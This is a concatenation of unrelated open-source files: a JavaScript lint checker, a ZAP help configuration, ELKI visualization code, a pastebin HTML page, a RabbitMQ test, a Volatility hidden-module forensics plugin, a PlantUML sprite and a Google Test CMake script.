fail("Found debugger statement", node.loc);
}
}, scopePasser);
function checkReusedIndex(node) {
if (!node.init || node.init.type != "VariableDeclaration") return;
var name = node.init.declarations[0].id.name;
walk.recursive(node.body, null, {
Function: function() {},
VariableDeclaration: function(node, st, c) {
for (var i = 0; i < node.declarations.length; i++)
if (node.declarations[i].id.name == name)
fail("redefined loop variable", node.declarations[i].id.loc);
walk.base.VariableDeclaration(node, st, c);
}
});
}
var allowedGlobals = Object.create(topAllowedGlobals), m;
if (m = file.match(/\/\/ declare global:\s+(.*)/))
m[1].split(/,\s*/g).forEach(function(n) { allowedGlobals[n] = true; });
for (var glob in globalsSeen)
if (!(glob in allowedGlobals))
fail("Access to global variable " + glob + ". Add a '// declare global: " + glob +
"' comment or add this variable in test/lint/lint.js.", globalsSeen[glob]);
for (var i = 0; i < scopes.length; ++i) {
var scope = scopes[i];
for (var name in scope.vars) {
var info = scope.vars[name];
if (!info.used && info.type != "catch clause" && info.type != "function name" && name.charAt(0) != "_")
fail("Unused " + info.type + " " + name, info.node.loc);
}
}
}
var failed = false;
function fail(msg, pos) {
if (pos.start) msg += " (" + pos.start.line + ":" + pos.start.column + ")";
console.log(pos.source + ": " + msg);
failed = true;
}
function checkDir(dir) {
fs.readdirSync(dir).forEach(function(file) {
var fname = dir + "/" + file;
if (/\.js$/.test(file)) checkFile(fname);
else if (fs.lstatSync(fname).isDirectory()) checkDir(fname);
});
}
exports.checkDir = checkDir;
exports.checkFile = checkFile;
exports.success = function() { return !failed; };
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE helpset PUBLIC "-//Sun Microsystems Inc.//DTD JavaHelp HelpSet Version 2.0//EN" "http://java.sun.com/products/javahelp/helpset_2_0.dtd">
<helpset version="2.0" xml:lang="el-GR">
<title>Passive Scan Rules | ZAP Extension</title>
<maps>
<homeID>top</homeID>
<mapref location="map.jhm"/>
</maps>
<view>
<name>TOC</name>
<label>Contents</label>
<type>org.zaproxy.zap.extension.help.ZapTocView</type>
<data>toc.xml</data>
</view>
<view>
<name>Index</name>
<label>Ευρετήριο</label>
<type>javax.help.IndexView</type>
<data>index.xml</data>
</view>
<view>
<name>Search</name>
<label>Αναζήτηση</label>
<type>javax.help.SearchView</type>
<data engine="com.sun.java.help.search.DefaultSearchEngine">
JavaHelpSearch
</data>
</view>
<view>
<name>Favorites</name>
<label>Favorites</label>
<type>javax.help.FavoritesView</type>
</view>
</helpset> | {
"pile_set_name": "Github"
} |
/*
* This file is part of ELKI:
* Environment for Developing KDD-Applications Supported by Index-Structures
*
* Copyright (C) 2019
* ELKI Development Team
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
package elki.visualization.gui.overview;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.util.ArrayList;
import java.util.Collection;
import java.util.Iterator;
import java.util.Map.Entry;
import java.util.concurrent.atomic.AtomicReference;
import org.apache.batik.util.SVGConstants;
import org.w3c.dom.Element;
import org.w3c.dom.events.EventListener;
import org.w3c.dom.events.EventTarget;
import elki.logging.Logging;
import elki.result.ResultListener;
import elki.utilities.datastructures.hierarchy.Hierarchy;
import elki.utilities.datastructures.iterator.It;
import elki.utilities.pairs.Pair;
import elki.visualization.VisualizationItem;
import elki.visualization.VisualizationListener;
import elki.visualization.VisualizationTask;
import elki.visualization.VisualizationTask.RenderFlag;
import elki.visualization.VisualizerContext;
import elki.visualization.batikutil.CSSHoverClass;
import elki.visualization.css.CSSClass;
import elki.visualization.gui.VisualizationPlot;
import elki.visualization.gui.detail.DetailView;
import elki.visualization.projector.Projector;
import elki.visualization.style.StyleLibrary;
import elki.visualization.svg.SVGEffects;
import elki.visualization.svg.SVGPlot;
import elki.visualization.svg.SVGUtil;
import elki.visualization.visualizers.Visualization;
/**
* Generate an overview plot for a set of visualizations.
*
* @author Erich Schubert
* @author Remigius Wojdanowski
* @since 0.3
*
* @opt nodefillcolor LemonChiffon
* @has - - - VisualizerContext
* @composed - - - RectangleArranger
* @composed - - - LayerMap
* @has - - - DetailViewSelectedEvent
* @assoc - - - DetailView
*/
public class OverviewPlot implements ResultListener, VisualizationListener {
/**
* Our logging class
*/
private static final Logging LOG = Logging.getLogger(OverviewPlot.class);
/**
* Event when the overview plot started refreshing.
*/
public static final String OVERVIEW_REFRESHING = "Overview refreshing";
/**
* Event when the overview plot was refreshed.
*/
public static final String OVERVIEW_REFRESHED = "Overview refreshed";
/**
* Draw red borders around items.
*/
private static final boolean DEBUG_LAYOUT = false;
/**
* Visualizer context
*/
private VisualizerContext context;
/**
* The SVG plot object.
*/
private VisualizationPlot plot;
/**
* Map of coordinates to plots.
*/
protected RectangleArranger<PlotItem> plotmap;
/**
* Action listeners for this plot.
*/
private ArrayList<ActionListener> actionListeners = new ArrayList<>();
/**
* Single view mode
*/
private boolean single;
/**
* Screen size (used for thumbnail sizing)
*/
public int screenwidth = 2000;
/**
* Screen size (used for thumbnail sizing)
*/
public int screenheight = 2000;
/**
* React to mouse hover events
*/
private EventListener hoverer;
/**
* Lookup
*/
private LayerMap vistoelem = new LayerMap();
/**
* Layer for plot thumbnail
*/
private Element plotlayer;
/**
* Layer for hover elements
*/
private Element hoverlayer;
/**
* The CSS class used on "selectable" rectangles.
*/
private CSSClass selcss;
/**
* Screen ratio
*/
private double ratio = 1.0;
/**
* Pending refresh, for lazy refreshing
*/
AtomicReference<Runnable> pendingRefresh = new AtomicReference<>(null);
/**
* Reinitialize on refresh
*/
private boolean reinitOnRefresh = false;
/**
* Constructor.
*
* @param context Visualizer context
* @param single Single view mode
*/
public OverviewPlot(VisualizerContext context, boolean single) {
super();
this.context = context;
this.single = single;
// Important:
// You still need to call: initialize(ratio);
}
/**
* Recompute the layout of visualizations.
*
* @param width Initial width
* @param height Initial height
* @return Arrangement
*/
private RectangleArranger<PlotItem> arrangeVisualizations(double width, double height) {
if(!(width > 0. && height > 0.)) {
LOG.warning("No size information during arrange()", new Throwable());
return new RectangleArranger<>(1., 1.);
}
RectangleArranger<PlotItem> plotmap = new RectangleArranger<>(width, height);
Hierarchy<Object> vistree = context.getVisHierarchy();
for(It<Projector> iter2 = vistree.iterAll().filter(Projector.class); iter2.valid(); iter2.advance()) {
Collection<PlotItem> projs = iter2.get().arrange(context);
for(PlotItem it : projs) {
if(it.w <= 0.0 || it.h <= 0.0) {
LOG.warning("Plot item with improper size information: " + it);
continue;
}
plotmap.put(it.w, it.h, it);
}
}
nextTask: for(It<VisualizationTask> iter2 = vistree.iterAll().filter(VisualizationTask.class); iter2.valid(); iter2.advance()) {
VisualizationTask task = iter2.get();
if(!task.isVisible()) {
continue;
}
if(vistree.iterParents(task).filter(Projector.class).valid()) {
continue nextTask;
}
if(task.getRequestedWidth() <= 0.0 || task.getRequestedHeight() <= 0.0) {
LOG.warning("Task with improper size information: " + task);
continue;
}
PlotItem it = new PlotItem(task.getRequestedWidth(), task.getRequestedHeight(), null);
it.tasks.add(task);
plotmap.put(it.w, it.h, it);
}
return plotmap;
}
/**
* Initialize the plot.
*
* @param ratio Initial ratio
*/
public void initialize(double ratio) {
if(!(ratio > 0 && ratio < Double.POSITIVE_INFINITY)) {
LOG.warning("Invalid ratio: " + ratio, new Throwable());
ratio = 1.4;
}
this.ratio = ratio;
if(plot != null) {
LOG.warning("Already initialized.");
lazyRefresh();
return;
}
reinitialize();
// register context listener
context.addResultListener(this);
context.addVisualizationListener(this);
}
/**
* Refresh the overview plot.
*/
private synchronized void reinitialize() {
if(plot == null) {
initializePlot();
}
else {
final ActionEvent ev = new ActionEvent(this, ActionEvent.ACTION_PERFORMED, OVERVIEW_REFRESHING);
for(ActionListener actionListener : actionListeners) {
actionListener.actionPerformed(ev);
}
}
// Detach existing elements:
for(Pair<Element, Visualization> pair : vistoelem.values()) {
SVGUtil.removeFromParent(pair.first);
}
plotmap = arrangeVisualizations(ratio, 1.0);
recalcViewbox();
final int thumbsize = (int) Math.max(screenwidth / plotmap.getWidth(), screenheight / plotmap.getHeight());
// TODO: cancel pending thumbnail requests!
// Replace the layer map
LayerMap oldlayers = vistoelem;
vistoelem = new LayerMap();
// Redo main layers
SVGUtil.removeFromParent(plotlayer);
SVGUtil.removeFromParent(hoverlayer);
plotlayer = plot.svgElement(SVGConstants.SVG_G_TAG);
hoverlayer = plot.svgElement(SVGConstants.SVG_G_TAG);
hoverlayer.setAttribute(SVGPlot.NO_EXPORT_ATTRIBUTE, SVGPlot.NO_EXPORT_ATTRIBUTE);
// Redo the layout
for(Entry<PlotItem, double[]> e : plotmap.entrySet()) {
final double basex = e.getValue()[0];
final double basey = e.getValue()[1];
for(Iterator<PlotItem> iter = e.getKey().itemIterator(); iter.hasNext();) {
PlotItem it = iter.next();
boolean hasDetails = false;
// Container element for main plot item
Element g = plot.svgElement(SVGConstants.SVG_G_TAG);
SVGUtil.setAtt(g, SVGConstants.SVG_TRANSFORM_ATTRIBUTE, "translate(" + (basex + it.x) + " " + (basey + it.y) + ")");
plotlayer.appendChild(g);
vistoelem.put(it, null, g, null);
// Add the actual tasks:
for(VisualizationTask task : it.tasks) {
if(!visibleInOverview(task)) {
continue;
}
hasDetails |= !task.has(RenderFlag.NO_DETAIL);
Pair<Element, Visualization> pair = oldlayers.remove(it, task);
if(pair == null) {
pair = new Pair<>(plot.svgElement(SVGConstants.SVG_G_TAG), null);
}
if(pair.second == null) {
pair.second = embedOrThumbnail(thumbsize, it, task, pair.first);
}
g.appendChild(pair.first);
vistoelem.put(it, task, pair);
}
// When needed, add a hover effect
if(hasDetails && !single) {
Element hover = plot.svgRect(basex + it.x, basey + it.y, it.w, it.h);
SVGUtil.addCSSClass(hover, selcss.getName());
// link hoverer.
EventTarget targ = (EventTarget) hover;
targ.addEventListener(SVGConstants.SVG_MOUSEOVER_EVENT_TYPE, hoverer, false);
targ.addEventListener(SVGConstants.SVG_MOUSEOUT_EVENT_TYPE, hoverer, false);
targ.addEventListener(SVGConstants.SVG_CLICK_EVENT_TYPE, hoverer, false);
targ.addEventListener(SVGConstants.SVG_CLICK_EVENT_TYPE, (evt) -> triggerSubplotSelectEvent(it), false);
hoverlayer.appendChild(hover);
}
}
}
for(Pair<Element, Visualization> pair : oldlayers.values()) {
if(pair.second != null) {
pair.second.destroy();
}
}
plot.getRoot().appendChild(plotlayer);
plot.getRoot().appendChild(hoverlayer);
plot.updateStyleElement();
// Notify listeners.
final ActionEvent ev = new ActionEvent(this, ActionEvent.ACTION_PERFORMED, OVERVIEW_REFRESHED);
for(ActionListener actionListener : actionListeners) {
actionListener.actionPerformed(ev);
}
}
/**
* Initialize the SVG plot.
*/
private void initializePlot() {
plot = new VisualizationPlot();
{ // Add a background element:
CSSClass cls = new CSSClass(this, "background");
final String bgcol = context.getStyleLibrary().getBackgroundColor(StyleLibrary.PAGE);
cls.setStatement(SVGConstants.CSS_FILL_PROPERTY, bgcol);
plot.addCSSClassOrLogError(cls);
Element background = plot.svgElement(SVGConstants.SVG_RECT_TAG);
background.setAttribute(SVGConstants.SVG_X_ATTRIBUTE, "0");
background.setAttribute(SVGConstants.SVG_Y_ATTRIBUTE, "0");
background.setAttribute(SVGConstants.SVG_WIDTH_ATTRIBUTE, "100%");
background.setAttribute(SVGConstants.SVG_HEIGHT_ATTRIBUTE, "100%");
SVGUtil.setCSSClass(background, cls.getName());
// Don't export a white background:
if("white".equals(bgcol)) {
background.setAttribute(SVGPlot.NO_EXPORT_ATTRIBUTE, SVGPlot.NO_EXPORT_ATTRIBUTE);
}
plot.getRoot().appendChild(background);
}
{ // setup the hover CSS classes.
selcss = new CSSClass(this, "s");
if(DEBUG_LAYOUT) {
selcss.setStatement(SVGConstants.CSS_STROKE_PROPERTY, SVGConstants.CSS_RED_VALUE);
selcss.setStatement(SVGConstants.CSS_STROKE_WIDTH_PROPERTY, .00001 * StyleLibrary.SCALE);
selcss.setStatement(SVGConstants.CSS_STROKE_OPACITY_PROPERTY, "0.5");
}
selcss.setStatement(SVGConstants.CSS_FILL_PROPERTY, SVGConstants.CSS_RED_VALUE);
selcss.setStatement(SVGConstants.CSS_FILL_OPACITY_PROPERTY, "0");
selcss.setStatement(SVGConstants.CSS_CURSOR_PROPERTY, SVGConstants.CSS_POINTER_VALUE);
plot.addCSSClassOrLogError(selcss);
CSSClass hovcss = new CSSClass(this, "h");
hovcss.setStatement(SVGConstants.CSS_FILL_OPACITY_PROPERTY, "0.25");
plot.addCSSClassOrLogError(hovcss);
// Hover listener.
hoverer = new CSSHoverClass(hovcss.getName(), null, true);
}
// Disable Batik default interactions (zoom, rotate, etc.)
if(single) {
plot.setDisableInteractions(true);
}
SVGEffects.addShadowFilter(plot);
SVGEffects.addLightGradient(plot);
}
/**
* Produce thumbnail for a visualizer.
*
* @param thumbsize Thumbnail size
* @param it Plot item
* @param task Task
* @param parent Parent element to draw to
*/
private Visualization embedOrThumbnail(final int thumbsize, PlotItem it, VisualizationTask task, Element parent) {
final Visualization vis;
if(!single) {
vis = task.getFactory().makeVisualizationOrThumbnail(context, task, plot, it.w, it.h, it.proj, thumbsize);
}
else {
vis = task.getFactory().makeVisualization(context, task, plot, it.w, it.h, it.proj);
}
if(vis == null || vis.getLayer() == null) {
LOG.warning("Visualization returned empty layer: " + vis);
return vis;
}
if(task.has(RenderFlag.NO_EXPORT)) {
vis.getLayer().setAttribute(SVGPlot.NO_EXPORT_ATTRIBUTE, SVGPlot.NO_EXPORT_ATTRIBUTE);
}
parent.appendChild(vis.getLayer());
return vis;
}
/**
* Do a refresh (when visibilities have changed).
*/
synchronized void refresh() {
if(reinitOnRefresh) {
LOG.debug("Reinitialize in thread " + Thread.currentThread().getName());
reinitialize();
reinitOnRefresh = false;
return;
}
synchronized(plot) {
boolean refreshcss = false;
if(plotmap == null) {
throw new IllegalStateException("Plotmap is null");
}
final int thumbsize = (int) Math.max(screenwidth / plotmap.getWidth(), screenheight / plotmap.getHeight());
for(PlotItem pi : plotmap.keySet()) {
for(Iterator<PlotItem> iter = pi.itemIterator(); iter.hasNext();) {
PlotItem it = iter.next();
for(Iterator<VisualizationTask> tit = it.tasks.iterator(); tit.hasNext();) {
VisualizationTask task = tit.next();
Pair<Element, Visualization> pair = vistoelem.get(it, task);
// New task?
if(pair == null) {
if(visibleInOverview(task)) {
Element elem = plot.svgElement(SVGConstants.SVG_G_TAG);
pair = new Pair<>(elem, embedOrThumbnail(thumbsize, it, task, elem));
vistoelem.get(it, null).first.appendChild(elem);
vistoelem.put(it, task, pair);
refreshcss = true;
}
}
else if(pair.first != null) {
if(visibleInOverview(task)) {
// unhide if hidden.
if(pair.first.hasAttribute(SVGConstants.CSS_VISIBILITY_PROPERTY)) {
pair.first.removeAttribute(SVGConstants.CSS_VISIBILITY_PROPERTY);
}
}
else {
// hide if there is anything to hide.
if(pair.first.hasChildNodes()) {
pair.first.setAttribute(SVGConstants.CSS_VISIBILITY_PROPERTY, SVGConstants.CSS_HIDDEN_VALUE);
}
}
// TODO: unqueue pending thumbnails
}
}
}
}
if(refreshcss) {
plot.updateStyleElement();
}
}
}
/**
* Test whether a task should be displayed in the overview plot.
*
* @param task Task to display
* @return visibility
*/
protected boolean visibleInOverview(VisualizationTask task) {
return task.isVisible() && !task.has(single ? RenderFlag.NO_EMBED : RenderFlag.NO_THUMBNAIL);
}
/**
* Recompute the view box of the plot.
*/
private void recalcViewbox() {
final Element root = plot.getRoot();
// Reset plot attributes
SVGUtil.setAtt(root, SVGConstants.SVG_WIDTH_ATTRIBUTE, "20cm");
SVGUtil.setAtt(root, SVGConstants.SVG_HEIGHT_ATTRIBUTE, SVGUtil.fmt(20 * plotmap.getHeight() / plotmap.getWidth()) + "cm");
String vb = "0 0 " + SVGUtil.fmt(plotmap.getWidth()) + " " + SVGUtil.fmt(plotmap.getHeight());
SVGUtil.setAtt(root, SVGConstants.SVG_VIEW_BOX_ATTRIBUTE, vb);
}
/**
* Event triggered when a plot was selected.
*
* @param it Plot item selected
* @return sub plot
*/
public DetailView makeDetailView(PlotItem it) {
return new DetailView(context, it, ratio);
}
/**
* Adds an {@link ActionListener} to the plot.
*
* @param actionListener the {@link ActionListener} to be added
*/
public void addActionListener(ActionListener actionListener) {
actionListeners.add(actionListener);
}
/**
* When a subplot was selected, forward the event to listeners.
*
* @param it PlotItem selected
*/
protected void triggerSubplotSelectEvent(PlotItem it) {
// forward event to all listeners.
for(ActionListener actionListener : actionListeners) {
actionListener.actionPerformed(new DetailViewSelectedEvent(this, ActionEvent.ACTION_PERFORMED, null, 0, it));
}
}
/**
* Destroy this overview plot.
*/
public void destroy() {
context.removeVisualizationListener(this);
context.removeResultListener(this);
plot.dispose();
}
/**
* Get the SVGPlot object.
*
* @return SVG plot
*/
public SVGPlot getPlot() {
return plot;
}
/**
* @return the ratio
*/
public double getRatio() {
return ratio;
}
/**
* @param ratio the ratio to set
*/
public void setRatio(double ratio) {
if(ratio != this.ratio) {
this.ratio = ratio;
reinitOnRefresh = true;
lazyRefresh();
}
}
/**
* Trigger a redraw, but avoid excessive redraws.
*/
public final void lazyRefresh() {
if(plot == null) {
LOG.warning("'lazyRefresh' called before initialized!");
return;
}
LOG.debug("Scheduling refresh.");
Runnable pr = new Runnable() {
@Override
public void run() {
if(OverviewPlot.this.pendingRefresh.compareAndSet(this, null)) {
OverviewPlot.this.refresh();
}
}
};
OverviewPlot.this.pendingRefresh.set(pr);
plot.scheduleUpdate(pr);
}
@Override
public void resultAdded(Object child, Object parent) {
lazyRefresh();
}
@Override
public void resultChanged(Object current) {
lazyRefresh();
}
@Override
public void resultRemoved(Object child, Object parent) {
lazyRefresh();
}
@Override
public void visualizationChanged(VisualizationItem child) {
if(!context.getVisHierarchy().iterParents(child).filter(Projector.class).valid()) {
reinitOnRefresh = true;
}
lazyRefresh();
}
}
| {
"pile_set_name": "Github"
} |
<!DOCTYPE html>
<html>
<head>
<title>Shortly</title>
<link rel="stylesheet" type="text/css" href="bootstrap/css/bootstrap.min.css" />
<style>
body {
padding-top: 60px;
}
input, textarea, button {
font: 15px 'Monaco', 'Bitstream Vera Sans', 'Courier', monospace;
}
textarea {
padding: 10px;
width: 100%;
height: 400px;
}
#instructions {
margin-top: 2em;
}
</style>
<link rel="stylesheet" type="text/css" href="bootstrap/css/bootstrap-responsive.min.css" />
<!--[if lt IE 9]>
<script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>
<![endif]-->
<script type="text/javascript" src="vendor/jquery-1.7.1.js"></script>
<script type="text/javascript" src="vendor/base64.js"></script>
<script type="text/javascript" src="vendor/rawinflate.js"></script>
<script type="text/javascript" src="vendor/rawdeflate.js"></script>
<script type="text/javascript" src="lib/shortly.js"></script>
</head>
<body>
<div class="navbar navbar-fixed-top">
<div class="navbar-inner">
<div class="container">
<a class="brand" href="/">Shortly</a>
<p class="navbar-text pull-left">Serverless pastebin service</p>
<p class="navbar-text pull-right"><a href="https://github.com/lucaspiller/shortly">Fork me on GitHub</a></p>
</div>
</div>
</div>
<div class="container">
<div>
<textarea id="input-field"></textarea>
<button id="save-button" class="btn btn-primary btn-large">Save as URL</button>
</div>
<div id="instructions">
<h2>Instructions</h2>
<ol>
<li>Paste code into the text area.</li>
<li>Click <em>Save as URL</em>.</li>
<li>Copy the URL from the address bar.</li>
<li>Share!</li>
</ol>
</div>
</div>
</body>
</html>
| {
"pile_set_name": "Github"
} |
package com.heibaiying.rabbit;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.springframework.amqp.core.Message;
import org.springframework.amqp.core.MessageProperties;
import org.springframework.amqp.rabbit.core.RabbitTemplate;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.test.context.ContextConfiguration;
import org.springframework.test.context.junit4.SpringRunner;
/**
* @author : heibaiying
* @description : 传输简单字符串
*/
@RunWith(SpringRunner.class)
@ContextConfiguration(classes = RabbitBaseConfig.class)
public class RabbitTest {
@Autowired
private RabbitTemplate rabbitTemplate;
@Test
public void sendMessage() {
MessageProperties properties = new MessageProperties();
String allReceived = "我的路由键 quick.orange.rabbit 符合queue1 和 queue2 的要求,我应该被两个监听器接收到";
Message message1 = new Message(allReceived.getBytes(), properties);
rabbitTemplate.send("topic01", "quick.orange.rabbit", message1);
String firstReceived = "我的路由键 quick.orange.fox 只符合queue1 的要求,只能被queue 1 接收到";
Message message2 = new Message(firstReceived.getBytes(), properties);
rabbitTemplate.send("topic01", "quick.orange.fox", message2);
String secondReceived = "我的路由键 lazy.brown.fox 只符合queue2 的要求,只能被queue 2 接收到";
Message message3 = new Message(secondReceived.getBytes(), properties);
rabbitTemplate.send("topic01", "lazy.brown.fox", message3);
String notReceived = "我的路由键 quick.brown.fox 不符合 topic1 任何绑定队列的要求,你将看不到我";
Message message4 = new Message(notReceived.getBytes(), properties);
rabbitTemplate.send("topic01", "quick.brown.fox", message4);
/*
* SecondQueue收到消息:我的路由键 quick.orange.rabbit 符合queue1 和 queue2 的要求,我应该被两个监听器接收到
* FirstQueue收到消息:我的路由键 quick.orange.rabbit 符合queue1 和 queue2 的要求,我应该被两个监听器接收到
* FirstQueue收到消息:我的路由键 quick.orange.fox 只符合queue1 的要求,只能被queue 1 接收到
* SecondQueue收到消息:我的路由键 lazy.brown.fox 只符合queue2 的要求,只能被queue 2 接收到
*/
}
}
| {
"pile_set_name": "Github"
} |
port: 3169
valid_hours:
- 20
- 21
- 22
- 23
- 0
- 1
- 2
- 3
minimum_frequency: 45
| {
"pile_set_name": "Github"
} |
# Volatility
# Copyright (C) 2007-2013 Volatility Foundation
#
# This file is part of Volatility.
#
# Volatility is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License Version 2 as
# published by the Free Software Foundation. You may not use, modify or
# distribute this program under any other version of the GNU General
# Public License.
#
# Volatility is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Volatility. If not, see <http://www.gnu.org/licenses/>.
#
"""
@author: Andrew Case
@license: GNU General Public License 2.0
@contact: atcuno@gmail.com
@organization:
"""
import volatility.obj as obj
import volatility.debug as debug
import volatility.plugins.linux.lsmod as linux_lsmod
import volatility.plugins.linux.common as linux_common
from volatility.renderers import TreeGrid
from volatility.renderers.basic import Address
class linux_check_modules(linux_common.AbstractLinuxCommand):
"""Compares module list to sysfs info, if available"""
def get_kset_modules(self):
module_kset_addr = self.profile.get_symbol("module_kset")
if not module_kset_addr:
debug.error("This command is not supported by this profile.")
ret = {}
module_kset = obj.Object("kset", offset = module_kset_addr, vm = self.addr_space)
for kobj in module_kset.list.list_of_type("kobject", "entry"):
kobj_off = self.profile.get_obj_offset("module_kobject", "kobj")
mod_kobj = obj.Object("module_kobject", offset = kobj.v() - kobj_off, vm = self.addr_space)
mod = mod_kobj.mod
name = kobj.name.dereference_as("String", length = 32)
if name.is_valid() and kobj.reference_count() > 2:
ret[str(name)] = mod
return ret
def calculate(self):
linux_common.set_plugin_members(self)
kset_modules = self.get_kset_modules()
lsmod_modules = set([str(module.name) for (module, params, sects) in linux_lsmod.linux_lsmod(self._config).calculate()])
for mod_name in set(kset_modules.keys()).difference(lsmod_modules):
yield kset_modules[mod_name]
def unified_output(self, data):
return TreeGrid([("ModuleAddress", Address),
("ModuleName", str)],
self.generator(data))
def generator(self, data):
for mod in data:
yield (0, [Address(mod), str(mod.name)])
def render_text(self, outfd, data):
self.table_header(outfd, [("Module Address", "[address]"), ("Core Address", "[address]"), ("Init Address", "[addreess]"), ("Module Name", "24")])
for mod in data:
self.table_row(outfd, mod, mod.module_core, mod.module_init, str(mod.name))
| {
"pile_set_name": "Github"
} |
@startuml
sprite $usd [48x48/16] {
000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000
000000000000000000000899993000000000000000000000
000000000000000000000EFFFF6000000000000000000000
000000000000000000000EFFFF6000000000000000000000
000000000000000000000EFFFF6000000000000000000000
000000000000000000279FFFFFB500000000000000000000
00000000000000004CFFFFFFFFFFF9100000000000000000
0000000000000008FFFFFFFFFFFFFFF50000000000000000
000000000000009FFFFFFFFFFFFFFFFF6000000000000000
00000000000005FFFFFFFFFFFFFFFFFFF300000000000000
0000000000000DFFFFFE8EFFFFEFFFFFFC00000000000000
0000000000003FFFFFB00EFFFF66FFFFFF20000000000000
0000000000007FFFFF100EFFFF609FFFFF70000000000000
0000000000009FFFFE000EFFFF603FFFFF90000000000000
0000000000009FFFFF100EFFFF6006666640000000000000
0000000000008FFFFFB00EFFFF6000000000000000000000
0000000000004FFFFFFF9EFFFF6000000000000000000000
0000000000000EFFFFFFFFFFFF7000000000000000000000
00000000000006FFFFFFFFFFFFFE94000000000000000000
000000000000009FFFFFFFFFFFFFFFF81000000000000000
0000000000000006EFFFFFFFFFFFFFFFE300000000000000
000000000000000005AEFFFFFFFFFFFFFF20000000000000
000000000000000000003EFFFFFFFFFFFFC0000000000000
000000000000000000000EFFFFDFFFFFFFF2000000000000
000000000000000000000EFFFF617FFFFFF6000000000000
000000000000222221000EFFFF6007FFFFF8000000000000
000000000000FFFFFB000EFFFF6003FFFFF9000000000000
000000000000EFFFFF100EFFFF6004FFFFF7000000000000
000000000000BFFFFF900EFFFF600BFFFFF4000000000000
0000000000006FFFFFFA2EFFFF61AFFFFFE0000000000000
0000000000000DFFFFFFFFFFFFEFFFFFFF60000000000000
00000000000003FFFFFFFFFFFFFFFFFFFC00000000000000
000000000000003FFFFFFFFFFFFFFFFFC000000000000000
0000000000000001BFFFFFFFFFFFFFF80000000000000000
0000000000000000028DFFFFFFFFC7100000000000000000
000000000000000000000EFFFF8000000000000000000000
000000000000000000000EFFFF6000000000000000000000
000000000000000000000EFFFF6000000000000000000000
000000000000000000000122220000000000000000000000
000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000
}
!define GOV_USD(_alias) ENTITY(rectangle,black,usd,_alias,GOV USD)
!define GOV_USD(_alias, _label) ENTITY(rectangle,black,usd,_label, _alias,GOV USD)
!define GOV_USD(_alias, _label, _shape) ENTITY(_shape,black,usd,_label, _alias,GOV USD)
!define GOV_USD(_alias, _label, _shape, _color) ENTITY(_shape,_color,usd,_label, _alias,GOV USD)
skinparam folderBackgroundColor<<GOV USD>> White
@enduml | {
"pile_set_name": "Github"
} |
########################################################################
# CMake build script for Google Test.
#
# To run the tests for Google Test itself on Linux, use 'make test' or
# ctest. You can select which tests to run using 'ctest -R regex'.
# For more options, run 'ctest --help'.
# BUILD_SHARED_LIBS is a standard CMake variable, but we declare it here to
# make it prominent in the GUI.
option(BUILD_SHARED_LIBS "Build shared libraries (DLLs)." OFF)
# When other libraries are using a shared version of runtime libraries,
# Google Test also has to use one.
option(
gtest_force_shared_crt
"Use shared (DLL) run-time lib even when Google Test is built as static lib."
OFF)
option(gtest_build_tests "Build all of gtest's own tests." OFF)
option(gtest_build_samples "Build gtest's sample programs." OFF)
option(gtest_disable_pthreads "Disable uses of pthreads in gtest." OFF)
# Defines pre_project_set_up_hermetic_build() and set_up_hermetic_build().
include(cmake/hermetic_build.cmake OPTIONAL)
if (COMMAND pre_project_set_up_hermetic_build)
pre_project_set_up_hermetic_build()
endif()
########################################################################
#
# Project-wide settings
# Name of the project.
#
# CMake files in this project can refer to the root source directory
# as ${gtest_SOURCE_DIR} and to the root binary directory as
# ${gtest_BINARY_DIR}.
# Language "C" is required for find_package(Threads).
project(gtest CXX C)
cmake_minimum_required(VERSION 2.6.2)
if (COMMAND set_up_hermetic_build)
set_up_hermetic_build()
endif()
# Define helper functions and macros used by Google Test.
include(cmake/internal_utils.cmake)
config_compiler_and_linker() # Defined in internal_utils.cmake.
# Where Google Test's .h files can be found.
include_directories(
${gtest_SOURCE_DIR}/include
${gtest_SOURCE_DIR})
# Where Google Test's libraries can be found.
link_directories(${gtest_BINARY_DIR}/src)
########################################################################
#
# Defines the gtest & gtest_main libraries. User tests should link
# with one of them.
# Google Test libraries. We build them using more strict warnings than what
# are used for other targets, to ensure that gtest can be compiled by a user
# aggressive about warnings.
cxx_library(gtest "${cxx_strict}" src/gtest-all.cc)
cxx_library(gtest_main "${cxx_strict}" src/gtest_main.cc)
target_link_libraries(gtest_main gtest)
########################################################################
#
# Samples on how to link user tests with gtest or gtest_main.
#
# They are not built by default. To build them, set the
# gtest_build_samples option to ON. You can do it by running ccmake
# or specifying the -Dbuild_gtest_samples=ON flag when running cmake.
if (gtest_build_samples)
cxx_executable(sample1_unittest samples gtest_main samples/sample1.cc)
cxx_executable(sample2_unittest samples gtest_main samples/sample2.cc)
cxx_executable(sample3_unittest samples gtest_main)
cxx_executable(sample4_unittest samples gtest_main samples/sample4.cc)
cxx_executable(sample5_unittest samples gtest_main samples/sample1.cc)
cxx_executable(sample6_unittest samples gtest_main)
cxx_executable(sample7_unittest samples gtest_main)
cxx_executable(sample8_unittest samples gtest_main)
cxx_executable(sample9_unittest samples gtest)
cxx_executable(sample10_unittest samples gtest)
endif()
########################################################################
#
# Google Test's own tests.
#
# You can skip this section if you aren't interested in testing
# Google Test itself.
#
# The tests are not built by default. To build them, set the
